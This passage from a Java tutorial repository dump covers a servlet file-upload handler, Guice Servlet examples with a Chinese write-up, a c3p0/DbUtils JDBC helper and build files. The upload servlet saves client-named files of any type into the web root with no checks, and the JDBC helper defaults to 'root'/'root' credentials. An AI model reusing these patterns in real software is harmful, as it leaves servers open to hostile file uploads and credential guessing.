    "content": "package com.jun.plugin.webservlet;\n\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.MultipartConfig;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.Part;\n\n\n@WebServlet(\"/UploadServlet2\")\n@MultipartConfig\npublic class UploadServlet2 extends HttpServlet {\n\n private static final long serialVersionUID = 5661013723204858883L;\n\n protected void doGet(HttpServletRequest request, HttpServletResponse response)\n     throws ServletException, IOException {\n   // 获取文件上传组件\n   Part part = request.getPart(\"file\");\n\n   // 获取文件的路径\n   String header = part.getHeader(\"content-disposition\");\n   String path = header.substring(header.indexOf(\"filename=\") + 10, header.length() - 1);\n\n   // 获取文件名\n   String name = UploadUtils.getRealName(path);\n\n   // 获取文件的存放目录\n   String dir = UploadUtils.getDir(name);\n\n   String realPath = this.getServletContext().getRealPath(\"/upload\" + dir);\n   File file = new File(realPath);\n   if (!file.exists()) {\n     file.mkdirs();\n   }\n\n   // 对拷流\n   InputStream inputStream = part.getInputStream();\n   FileOutputStream outputStream = new FileOutputStream(new File(file, name));\n   int len = -1;\n   byte[] bytes = new byte[1024];\n   while ((len = inputStream.read(bytes)) != -1) {\n     outputStream.write(bytes, 0, len);\n   }\n\n   // 关闭资源\n   outputStream.close();\n   inputStream.close();\n\n   // 删除临时文件\n   part.delete();\n\n   response.setContentType(\"text/html;charset=utf-8\");\n   response.getWriter().print(\"文件\" + name + \"上传成功！\");\n }\n\n protected void doPost(HttpServletRequest request, HttpServletResponse response)\n     throws ServletException, IOException {\n   doGet(request, response);\n }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/webservlet/UploadUtils.java",
    "content": "package com.jun.plugin.webservlet;\n\npublic class UploadUtils {\n\t \n\t  /**\n\t   * 根据文件的路径获取文件真实名称\n\t   * \n\t   * @param path\n\t   *      文件的路径\n\t   * @return 文件名称\n\t   */\n\t  public static String getRealName(String path) {\n\t    int index = path.lastIndexOf(\"\\\\\");\n\t \n\t    if (index == -1) {\n\t      index = path.lastIndexOf(\"/\");\n\t    }\n\t \n\t    return path.substring(index + 1);\n\t  }\n\t \n\t  /**\n\t   * 根据文件名返回一个目录\n\t   * \n\t   * @param name\n\t   *      文件名称\n\t   * @return 目录\n\t   */\n\t  public static String getDir(String name) {\n\t    int i = name.hashCode();\n\t    String hex = Integer.toHexString(i);\n\t    int j = hex.length();\n\t \n\t    for (int k = 0; k < 8 - j; k++) {\n\t      hex = \"0\" + hex;\n\t    }\n\t \n\t    return \"/\" + hex.charAt(0) + \"/\" + hex.charAt(1);\n\t  }\n\t}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txmlns=\"http://java.sun.com/xml/ns/javaee\"\n\txsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\"\n\tid=\"WebApp_ID\" version=\"3.0\">\n\t<display-name>jun_plugin_demo</display-name>\n\t<welcome-file-list>\n\t\t<welcome-file>index.html</welcome-file>\n\t\t<welcome-file>index.htm</welcome-file>\n\t\t<welcome-file>index.jsp</welcome-file>\n\t\t<welcome-file>default.html</welcome-file>\n\t\t<welcome-file>default.htm</welcome-file>\n\t\t<welcome-file>default.jsp</welcome-file>\n\t</welcome-file-list> \n\t \n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/Guice Servlet.md",
    "content": "# Guice Servlet  \n\nGuice Servlet 为使用web应用程序和Servlet容器提供了一个完整的模式。. Guice's servlet 扩展允许从你的servlet应用中完全淘汰web.xml，并且具有类型安全（type-safe）的优势。 符合[Java](http://lib.csdn.net/base/17)方式的配置你的servlet和filter组件。\n\n 这不仅在于可以使用更好的API来配置你的web应用程序，而且也在于在web应用组件中加入依赖注入，意味着你的servlet和filter得益于以下几个方面：\n\n- 构造方法注入（Constructor injection）\n- 类型安全，更符合习惯的配置方式（Type-safe, idiomatic configuration）\n- 模块化(打包和发布个性化的Guice Servlet类库\n- Guice 面向切面编程\n\n在标准的servlet生命周期都将受益。\n\n \n\nguice servlet简化了传统servlet的开发。\n\n \n\n具体如下:\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n 1   <filter>\n 2     <filter-name>guiceFilter</filter-name>\n 3     <filter-class>com.google.inject.servlet.GuiceFilter</filter-class><!--这个是guice servlet的过滤器-->\n 4   </filter>\n 5   <filter-mapping>\n 6     <filter-name>guiceFilter</filter-name>\n 7     <url-pattern>/*</url-pattern>\n 8   </filter-mapping>\n 9   <listener>\n10     <listener-class>com.ming.core.web.listener.GoogleGuiceServletContextListener</listener-class><!--这个是用于注册module及servlet的-->\n11   </listener>\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n \n\n \n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n 1 package com.ming.core.web.listener;\n 2 \n 3 import com.google.inject.Guice;\n 4 import com.google.inject.Injector;\n 5 import com.google.inject.servlet.GuiceServletContextListener;\n 6 import com.ming.user.UserModule;\n 7 \n 8 public class GoogleGuiceServletContextListener extends GuiceServletContextListener {\n 9 \n10     @Override\n11     protected Injector getInjector() {\n12         \n13         return Guice.createInjector(new UserModule());\n14         //如果绑定多个module，需要像下面这样就可以了\n15         //return Guice.createInjector(new UserModule(),new UserModule());\n16     }\n17 \n18 }\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n \n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n 1 package com.ming.user;\n 2 \n 3 import com.google.inject.AbstractModule;\n 4 import com.google.inject.servlet.ServletModule;\n 5 import com.ming.core.web.filter.EncodeFilter;\n 6 import com.ming.user.action.UserServlet;\n 7 public class UserModule extends AbstractModule {\n 8 \n 9 \n10     @Override\n11     protected void configure() {\n12         install(new ServletModule(){\n13             @Override\n14             protected void configureServlets() {\n15                 \n16                 //配置你访问的servlet\n17                 //serve(\"/UserServlet\").with(UserServlet.class);\n18                 \n19                 //如果你一个servlet拥有多个访问地址，这样配置就可以了\n20                 serve(\"/UserServlet\",\"/UserController\").with(UserServlet.class);\n21                 \n22                 //如果你想你的url支持正则匹配，可以像下面这样写\n23                 //serveRegex(\"^user\").with(UserServlet.class);\n24                 \n25                 //同理filter配置如下\n26                 //filter(\"/encodeFilter\").through(EncodeFilter.class);\n27                 \n28                 //多个地址\n29                 //filter(\"/encodeFilter\",\"/haha\").through(EncodeFilter.class);\n30                 \n31                 //支持正则\n32                 //filterRegex(\"^aaa\").through(EncodeFilter.class);\n33                 \n34             }\n35         });\n36         \n37     }\n38 \n39     \n40 }\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n 1 package com.ming.user.action;\n 2 \n 3 import java.io.IOException;\n 4 import java.util.ArrayList;\n 5 import java.util.List;\n 6 \n 7 import javax.servlet.ServletException;\n 8 import javax.servlet.http.HttpServlet;\n 9 import javax.servlet.http.HttpServletRequest;\n10 import javax.servlet.http.HttpServletResponse;\n11 \n12 import com.google.inject.Inject;\n13 import com.google.inject.Singleton;\n14 import com.ming.user.entity.model.User;\n15 import com.ming.user.service.UserService;\n16 \n17 /**\n18  * \n19  * @author mingge\n20  *\n21  */\n22 @Singleton\n23 public class UserServlet extends HttpServlet {\n24     \n25     \n26     private static final long serialVersionUID = 1L;\n27 \n28     @Inject\n29     private UserService userService;\n30 \n31     protected void doGet(HttpServletRequest request, HttpServletResponse response)\n32             throws ServletException, IOException {\n33 \n34         String account = request.getParameter(\"account\");\n35         int userId = Integer.valueOf(request.getParameter(\"userid\"));\n36         model.User u = new model.User();\n37         u.setAccount(account);\n38         u.setUser_id(userId);\n39         List<model.User> ulist=new ArrayList<>();\n40         ulist.add(u);\n41         try {\n42             userService.add(u);\n43             System.out.println(\"ok\");\n44         } catch (Exception e) {\n45             System.out.println(\"error\");\n46             e.printStackTrace();\n47             // 注意：调用service层的方法出异常之后，继续将异常抛出，这样在TransactionFilter就能捕获到抛出的异常，继而执行事务回滚操作\n48             throw new RuntimeException(e);\n49         }\n50 \n51     }\n52 \n53     protected void doPost(HttpServletRequest request, HttpServletResponse response)\n54             throws ServletException, IOException {\n55 \n56         doGet(request, response);\n57     }\n58 \n59 }\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n \n\n看起简单吧。具体例子下载:http://pan.baidu.com/s/1geMXE1t"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/README.md",
    "content": "## Servlet-Guice \n\nA simple Servlet example with Guice, Gretty and Mockito.\n\n#### Guice\n\n[Guice](https://github.com/google/guice/wiki) provides support for dependency injection using annotations to configure Java objects.\n\n#### Gradle Greety\n\n[Greety](http://saladinkzn.github.io/gretty-doc/index.html) is a feature-rich gradle plugin for running web-apps on embedded servlet containers. It supports Jetty versions 7, 8 and 9, Tomcat versions 7 and 8, multiple web-apps and many more.\n\n#### Mockito\n\n[Mockito](http://site.mockito.org/mockito/docs/current/org/mockito/Mockito.html)  is an open source testing framework allowing the creation of mock objects.\n  \n#### Getting started\n\n```\ngradle appStart\n```\n\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/gradle/wrapper/gradle-wrapper.properties",
    "content": "#Fri Aug 26 23:45:13 CST 2016\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-2.13-all.zip\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_webservlet_guice_dbutil</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\t<properties>\n\t\t<!-- 主要依赖库的版本定义 -->\n\t\t<junit.version>4.10</junit.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.12</version>\n\t\t\t<!-- <version>${junit.version}</version> -->\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<!-- <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> \n\t\t\t<version>3.1.0</version> <scope>provided</scope> </dependency> -->\n\t\t<!--servlet4 -->\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>4.0.1</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<!-- servlet3 -->\n\t\t<!-- <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> \n\t\t\t<version>3.0.1</version> <scope>provided</scope> </dependency> -->\n\n\t\t<!--servlet3.1 -->\n\t\t<!-- <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> \n\t\t\t<version>3.1.0</version> <scope>provided</scope> </dependency> -->\n\n\t\t<!-- https://mvnrepository.com/artifact/net.sf.json-lib/json-lib -->\n\t\t<dependency>\n\t\t\t<groupId>net.sf.json-lib</groupId>\n\t\t\t<artifactId>json-lib</artifactId>\n\t\t\t<version>2.4</version>\n\t\t\t<classifier>jdk15</classifier><!-- //此处要加上jdk版本号 -->\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.google.inject</groupId>\n\t\t\t<artifactId>guice</artifactId>\n\t\t\t<version>4.2.3</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.mockito</groupId>\n\t\t\t<artifactId>mockito-core</artifactId>\n\t\t\t<version>3.3.3</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.sonatype.sisu.inject</groupId>\n\t\t\t<artifactId>guice-servlet</artifactId>\n\t\t\t<version>3.2.0</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/commons-dbutils/commons-dbutils -->\n\t\t<dependency>\n\t\t\t<groupId>commons-dbutils</groupId>\n\t\t\t<artifactId>commons-dbutils</artifactId>\n\t\t\t<version>1.7</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>c3p0</groupId>\n\t\t\t<artifactId>c3p0</artifactId>\n\t\t\t<version>0.9.1.2</version>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<sourceDirectory>src/main/java</sourceDirectory>\n\t\t<testSourceDirectory>src/test/java</testSourceDirectory>\n\t\t<resources>\n\t\t\t<resource>\n\t\t\t\t<directory>src/main/resources</directory>\n\t\t\t</resource>\n\t\t\t<resource>\n\t\t\t\t<directory>src/labs/java</directory>\n\t\t\t\t<includes>\n\t\t\t\t\t<include>**/*.hbm.xml</include>\n\t\t\t\t</includes>\n\t\t\t</resource>\n\t\t</resources>\n\t\t<testResources>\n\t\t\t<testResource>\n\t\t\t\t<directory>src/test/resources</directory>\n\t\t\t</testResource>\n\t\t</testResources>\n\n\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.tomcat.maven</groupId>\n\t\t\t\t<artifactId>tomcat7-maven-plugin</artifactId>\n\t\t\t\t<version>2.1</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<port>8080</port>\n\t\t\t\t\t<path>/jun_webservlet</path>\n\t\t\t\t\t<uriEncoding>UTF-8</uriEncoding>\n\t\t\t\t\t<finalName>jun_webservlet</finalName>\n\t\t\t\t\t<server>tomcat7</server>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.5.1</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.7</source>\n\t\t\t\t\t<target>1.7</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<!-- build-helper-maven-plugin, 设置多个源文件夹 -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.codehaus.mojo</groupId>\n\t\t\t\t<artifactId>build-helper-maven-plugin</artifactId>\n\t\t\t\t<version>1.4</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>add-source</id>\n\t\t\t\t\t\t<phase>generate-sources</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>add-source</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t<configuration>\n\t\t\t\t\t\t\t<sources>\n\t\t\t\t\t\t\t\t<source>${basedir}/src/main/java</source>\n\t\t\t\t\t\t\t\t<!-- <source>${basedir}/src/test/core</source> -->\n\t\t\t\t\t\t\t\t<!-- 我们可以通过在这里添加多个source节点，来添加任意多个源文件夹 -->\n\t\t\t\t\t\t\t</sources>\n\t\t\t\t\t\t</configuration>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\t\t\t<!-- <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> \n\t\t\t\t<version>3.1</version> <configuration> <source>1.8</source> <target>1.8</target> \n\t\t\t\t<compilerArguments> <endorseddirs>${endorsed.dir}</endorseddirs> </compilerArguments> \n\t\t\t\t</configuration> </plugin> -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-war-plugin</artifactId>\n\t\t\t\t<version>2.6</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<warName>jun_webservlet</warName>\n\t\t\t\t\t<failOnMissingWebXml>false</failOnMissingWebXml>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n\t<profiles>\n\t\t<profile>\n\t\t\t<id>jdk-1.8</id>\n\t\t\t<activation>\n\t\t\t\t<activeByDefault>true</activeByDefault>\n\t\t\t\t<jdk>1.8</jdk>\n\t\t\t</activation>\n\t\t\t<properties>\n\t\t\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t\t\t\t<maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>\n\t\t\t</properties>\n\t\t</profile>\n\t</profiles>\n\n\n\n\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/GuiceServletConfig.java",
    "content": "package com.jun.plugin.servlet.guice;\n\nimport com.google.inject.Guice;\nimport com.google.inject.Injector;\nimport com.google.inject.servlet.GuiceServletContextListener;\n\npublic class GuiceServletConfig extends GuiceServletContextListener {\n\n  @Override\n  protected Injector getInjector() {\n    return Guice.createInjector(new GuiceServletModule());\n  }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/GuiceServletModule.java",
    "content": "package com.jun.plugin.servlet.guice;\n\nimport com.google.inject.servlet.ServletModule;\n\nclass GuiceServletModule extends ServletModule {\n\n  @Override\n  protected void configureServlets() {\n    serve(\"/\").with(HelloServlet.class);\n\n    bind(HelloService.class).to(HelloServiceImpl.class);\n  }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/HelloService.java",
    "content": "package com.jun.plugin.servlet.guice;\n\ninterface HelloService {\n\n  String echo();\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/HelloServiceImpl.java",
    "content": "package com.jun.plugin.servlet.guice;\n\npublic class HelloServiceImpl implements HelloService{\n\n  @Override\n  public String echo() {\n    return \"Hello World!\";\n  }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/HelloServlet.java",
    "content": "package com.jun.plugin.servlet.guice;\n\nimport com.google.inject.Inject;\nimport com.google.inject.Singleton;\n\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n@Singleton\npublic class HelloServlet extends HttpServlet {\n\n  @Inject\n  public HelloServlet(HelloService helloService) {\n    this.helloService = helloService;\n  }\n\n  private final HelloService helloService;\n\n  @Override\n  public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {\n    String echo = helloService.echo();\n\n    response.setCharacterEncoding(\"UTF-8\");\n    request.setCharacterEncoding(\"UTF-8\");\n\n    response.setContentType(\"text/html\");\n    PrintWriter out = response.getWriter();\n\n    out.println(echo);\n\n    out.flush();\n    out.close();\n  }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/core/db/ConnectionContext.java",
    "content": "package com.jun.plugin.servlet.guice.core.db;\n\nimport java.sql.Connection;\n\npublic class ConnectionContext {\n\n\tprivate ConnectionContext(){}\n\t\n\tprivate static ConnectionContext context=new ConnectionContext();\n\t\n\tpublic static ConnectionContext getInstance(){\n\t\treturn context;\n\t}\n\t\n\tprivate ThreadLocal<Connection> connectionThreadLocal=new ThreadLocal<Connection>();\n\t\n\t/**\n\t * 绑定连接\n\t * @param con\n\t */\n\tpublic void bind(Connection con){\n\t\tconnectionThreadLocal.set(con);\n\t}\n\t\n\t/**\n\t * 获取连接\n\t * @return\n\t */\n\tpublic Connection getCon(){\n\t\treturn connectionThreadLocal.get();\n\t}\n\t\n\t\n\t/**\n\t * 移除连接\n\t */\n\tpublic void remove(){\n\t\tconnectionThreadLocal.remove();\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/core/db/JdbcUtils.java",
    "content": "package com.jun.plugin.servlet.guice.core.db;\n\nimport java.io.InputStream;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.Properties;\n\nimport javax.sql.DataSource;\n\nimport com.jun.plugin.servlet.guice.core.util.encryption.des.DESUtil;\nimport com.mchange.v2.c3p0.ComboPooledDataSource;\n\n/**\n * \n * @author ming\n *\n */\npublic class JdbcUtils {\n\n\tprivate static String driver = \"com.mysql.jdbc.Driver\";\n\tprivate static String url = \"jdbc:mysql://localhost:3306/test\";\n\tprivate static String username = \"root\";\n\tprivate static String password = \"root\";\n\n\tprivate static ComboPooledDataSource ds = null;\n\t// 使用ThreadLocal存储当前线程中的Connection对象\n\tprivate static ThreadLocal<Connection> threadLocal = new ThreadLocal<Connection>();\n\n\t/**\n\t * 初试化jdbc相关属性值\n\t */\n\tstatic {\n\t\ttry {\n\t\t\t// 读取jdbc.properties文件中的数据库连接信息\n\t\t\tInputStream in = JdbcUtils.class.getClassLoader().getResourceAsStream(\"jdbc.properties\");\n\t\t\tProperties prop = new Properties();\n\t\t\tprop.load(in);\n\t\t\t// 获取数据库连接驱动\n\t\t\tdriver = prop.getProperty(\"driver\");\n\t\t\t// 获取数据库连接URL地址\n\t\t\turl = prop.getProperty(\"url\");\n\t\t\t// 获取数据库连接用户名\n\t\t\tusername = prop.getProperty(\"username\");\n\t\t\t// 获取数据库连接密码\n\t\t\tpassword = prop.getProperty(\"password\");\n\t\t} catch (Exception e) {\n\t\t\tthrow new ExceptionInInitializerError(e);\n\t\t}\n\t}\n\n\t// 在静态代码块中创建数据库连接池\n\tstatic {\n\t\ttry {\n\t\t\t// 通过代码创建C3P0数据库连接池\n\t\t\tds = new ComboPooledDataSource();\n\t\t\tds.setDriverClass(driver);\n\t\t\tds.setJdbcUrl(url);\n\t\t\tds.setUser(username);\n\t\t\tds.setPassword(DESUtil.decrypt(password));\n\t\t\tds.setInitialPoolSize(10);\n\t\t\tds.setMinPoolSize(5);\n\t\t\tds.setMaxPoolSize(20);\n\n\t\t\t// 通过读取C3P0的xml配置文件创建数据源，C3P0的xml配置文件c3p0-config.xml必须放在src目录下\n\t\t\t// ds = new ComboPooledDataSource();//使用C3P0的默认配置来创建数据源\n\t\t\t// ds = new ComboPooledDataSource(\"MySQL\");// 使用C3P0的命名配置来创建数据源\n\n\t\t} catch (Exception e) {\n\t\t\tthrow new ExceptionInInitializerError(e);\n\t\t}\n\t}\n\n\t/**\n\t * @Method: getConnection\n\t * @Description: 从数据源中获取数据库连接\n\t * \n\t * @return Connection\n\t * @throws SQLException\n\t */\n\tpublic static Connection getConnection() throws SQLException {\n\t\t// 从当前线程中获取Connection\n\t\tConnection conn = threadLocal.get();\n\t\tif (conn == null) {\n\t\t\t// 从数据源中获取数据库连接\n\t\t\tconn = getDataSource().getConnection();\n\t\t\t// 将conn绑定到当前线程\n\t\t\tthreadLocal.set(conn);\n\t\t}\n\t\treturn conn;\n\t}\n\n\t/**\n\t * @Method: startTransaction\n\t * @Description: 开启事务\n\t *\n\t * \n\t */\n\tpublic static void startTransaction() {\n\t\ttry {\n\t\t\tConnection conn = threadLocal.get();\n\t\t\tif (conn == null) {\n\t\t\t\tconn = getConnection();\n\t\t\t\t// 把 conn绑定到当前线程上\n\t\t\t\tthreadLocal.set(conn);\n\t\t\t}\n\t\t\t// 开启事务\n\t\t\tconn.setAutoCommit(false);\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\t/**\n\t * @Method: rollback\n\t * @Description:回滚事务\n\t *\n\t * \n\t */\n\tpublic static void rollback() {\n\t\ttry {\n\t\t\t// 从当前线程中获取Connection\n\t\t\tConnection conn = threadLocal.get();\n\t\t\tif (conn != null) {\n\t\t\t\t// 回滚事务\n\t\t\t\tconn.rollback();\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\t/**\n\t * @Method: commit\n\t * @Description:提交事务\n\t *\n\t * \n\t */\n\tpublic static void commit() {\n\t\ttry {\n\t\t\t// 从当前线程中获取Connection\n\t\t\tConnection conn = threadLocal.get();\n\t\t\tif (conn != null) {\n\t\t\t\t// 提交事务\n\t\t\t\tconn.commit();\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\t/**\n\t * @Method: close\n\t * @Description:关闭数据库连接(注意，并不是真的关闭，而是把连接还给数据库连接池)\n\t *\n\t * \n\t */\n\tpublic static void close() {\n\t\ttry {\n\t\t\t// 从当前线程中获取Connection\n\t\t\tConnection conn = threadLocal.get();\n\t\t\tif (conn != null) {\n\t\t\t\tconn.close();\n\t\t\t\t// 解除当前线程上绑定conn\n\t\t\t\tthreadLocal.remove();\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\t/**\n\t * @Method: getDataSource\n\t * @Description: 获取数据源\n\t * @return DataSource\n\t */\n\tpublic static DataSource getDataSource() {\n\t\t// 从数据源中获取数据库连接\n\t\treturn ds;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/core/db/QueryRunnerCRUDTest.java",
    "content": "package com.jun.plugin.servlet.guice.core.db;\n\nimport java.sql.SQLException;\nimport java.util.List;\n\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.BeanHandler;\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\n\nimport com.jun.plugin.servlet.guice.user.entity.User;\n\npublic class QueryRunnerCRUDTest {\n\n    /*\n     *测试表\n    CREATE TABLE `users` (\n\t\t`id` BIGINT(20) NOT NULL AUTO_INCREMENT,\n\t\t`account` VARCHAR(50) NULL DEFAULT NULL,\n\t\t`user_id` BIGINT(20) NOT NULL,\n\t\tPRIMARY KEY (`id`)\n\t)\n\tCOMMENT='user表'\n\tCOLLATE='latin1_swedish_ci'\n\tENGINE=InnoDB\n\t;\n     */\n    \n    \n    public void add() throws SQLException {\n        //将数据源传递给QueryRunner，QueryRunner内部通过数据源获取数据库连接\n        QueryRunner qr = new QueryRunner(JdbcUtils.getDataSource());\n        String sql = \"INSERT INTO `test`.`users` (`account`, `user_id`) VALUES (?, ?);\";\n        Object params[] = {\"hello world\",2323};\n  \n        qr.update(sql, params);\n    }\n    \n   \n    \n    public void delete() throws SQLException {\n        QueryRunner qr = new QueryRunner(JdbcUtils.getDataSource());\n        String sql = \"delete from users where id=?\";\n        qr.update(sql, 1);\n\n    }\n\n    \n    public void update() throws SQLException {\n        QueryRunner qr = new QueryRunner(JdbcUtils.getDataSource());\n        String sql = \"update users set account=? where id=?\";\n        Object params[] = { \"ddd\", 2};\n        qr.update(sql, params);\n    }\n\n    \n    public void find() throws SQLException {\n        QueryRunner qr = new QueryRunner(JdbcUtils.getDataSource());\n        String sql = \"select * from users where id=?\";\n        Object params[] = {2};\n        User user = (User) qr.query(sql, params, new BeanHandler(User.class));\n        System.out.println(user.getId());\n    }\n\n    \n    public void getAll() throws SQLException {\n        QueryRunner qr = new QueryRunner(JdbcUtils.getDataSource());\n        String sql = \"select * from users\";\n        List<User> list = (List<User>) qr.query(sql, new BeanListHandler(User.class));\n        for(User u : list){\n        \t System.out.println(u.getUser_id());\n        }\n       \n    }\n    \n    public void testBatch() throws SQLException {\n        QueryRunner qr = new QueryRunner(JdbcUtils.getDataSource());\n        String sql = \"INSERT INTO `test`.`users` (`account`, `user_id`) VALUES (?, ?)\";\n        Object params[][] = new Object[10][];\n        for (int i = 0; i < 10; i++) {\n            params[i] = new Object[] {\"123\"+i, i};\n        }\n        qr.batch(sql, params);\n    }\n    \n    public static void main(String[] args) throws Exception {\n    \tQueryRunnerCRUDTest t=new QueryRunnerCRUDTest();\n    \tt.add();\n    \tt.getAll();\n    \t//t.delete();\n\t}\n    \n\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/core/db/ReflectUtils.java",
